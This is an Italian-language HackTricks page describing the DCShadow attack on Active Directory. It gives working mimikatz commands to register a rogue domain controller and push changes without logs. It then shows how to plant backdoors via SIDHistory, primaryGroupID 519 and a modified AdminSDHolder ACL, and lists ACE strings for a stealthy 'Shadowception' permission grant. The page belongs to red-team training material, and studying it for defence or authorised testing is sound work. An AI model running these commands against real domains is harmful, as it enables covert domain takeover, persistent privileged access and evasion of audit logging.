Tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks

DCShadow

Registra un nuovo Domain Controller nell’AD e lo utilizza per inviare attributi (SIDHistory, SPNs…) su oggetti specificati senza lasciare alcun log riguardo alle modifiche. Hai bisogno di privilegi DA e devi essere all’interno del dominio radice.
Nota che se usi dati errati, appariranno log piuttosto brutti.

Per eseguire l’attacco hai bisogno di 2 istanze di mimikatz. Una di esse avvierà i server RPC con privilegi SYSTEM (devi indicare qui le modifiche che desideri eseguire), e l’altra istanza sarà utilizzata per inviare i valori:

!+
!processtoken
lsadump::dcshadow /object:username /attribute:Description /value="My new description"

lsadump::dcshadow /push

Nota che elevate::token non funzionerĂ  nella sessione mimikatz1 poichĂŠ ha elevato i privilegi del thread, ma dobbiamo elevare il privilegio del processo.
Puoi anche selezionare un oggetto “LDAP”: /object:CN=Administrator,CN=Users,DC=JEFFLAB,DC=local

Puoi spingere le modifiche da un DA o da un utente con questi permessi minimi:

  • Nell’oggetto di dominio:
  • DS-Install-Replica (Aggiungi/Rimuovi Replica nel Dominio)
  • DS-Replication-Manage-Topology (Gestisci Topologia di Replica)
  • DS-Replication-Synchronize (Sincronizzazione Replica)
  • L’oggetto Siti (e i suoi figli) nel contenitore di Configurazione:
  • CreateChild e DeleteChild
  • L’oggetto del computer registrato come DC:
  • WriteProperty (Non Write)
  • L’oggetto target:
  • WriteProperty (Non Write)

Puoi usare Set-DCShadowPermissions per dare questi privilegi a un utente non privilegiato (nota che questo lascerà alcuni log). Questo è molto piÚ restrittivo rispetto ad avere privilegi DA.
Ad esempio: Set-DCShadowPermissions -FakeDC mcorp-student1 SAMAccountName root1user -Username student1 -Verbose Questo significa che il nome utente student1 quando è connesso nella macchina mcorp-student1 ha permessi DCShadow sull’oggetto root1user.

Utilizzare DCShadow per creare backdoor

lsadump::dcshadow /object:student1 /attribute:SIDHistory /value:S-1-521-280534878-1496970234-700767426-519

lsadump::dcshadow /object:student1 /attribute:primaryGroupID /value:519

#First, get the ACE of an admin already in the Security Descriptor of AdminSDHolder: SY, BA, DA or -519
(New-Object System.DirectoryServices.DirectoryEntry("LDAP://CN=Admin SDHolder,CN=System,DC=moneycorp,DC=local")).psbase.Objec tSecurity.sddl
#Second, add to the ACE permissions to your user and push it using DCShadow
lsadump::dcshadow /object:CN=AdminSDHolder,CN=System,DC=moneycorp,DC=local /attribute:ntSecurityDescriptor /value:<whole modified ACL>

Shadowception - Dare permessi DCShadow usando DCShadow (senza log di permessi modificati)

Dobbiamo aggiungere i seguenti ACE con il SID del nostro utente alla fine:

  • Sull’oggetto dominio:
  • (OA;;CR;1131f6ac-9c07-11d1-f79f-00c04fc2dcd2;;UserSID)
  • (OA;;CR;9923a32a-3607-11d2-b9be-0000f87a36b2;;UserSID)
  • (OA;;CR;1131f6ab-9c07-11d1-f79f-00c04fc2dcd2;;UserSID)
  • Sull’oggetto computer attaccante: (A;;WP;;;UserSID)
  • Sull’oggetto utente target: (A;;WP;;;UserSID)
  • Sull’oggetto Siti nel contenitore di Configurazione: (A;CI;CCDC;;;UserSID)

Per ottenere l’ACE attuale di un oggetto: (New-Object System.DirectoryServices.DirectoryEntry("LDAP://DC=moneycorp,DC=loca l")).psbase.ObjectSecurity.sddl

Nota che in questo caso devi fare diverse modifiche, non solo una. Quindi, nella sessione mimikatz1 (server RPC) usa il parametro /stack con ogni modifica che vuoi fare. In questo modo, dovrai solo /push una volta per eseguire tutte le modifiche accumulate nel server rogue.

Ulteriori informazioni su DCShadow in ired.team.

Tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks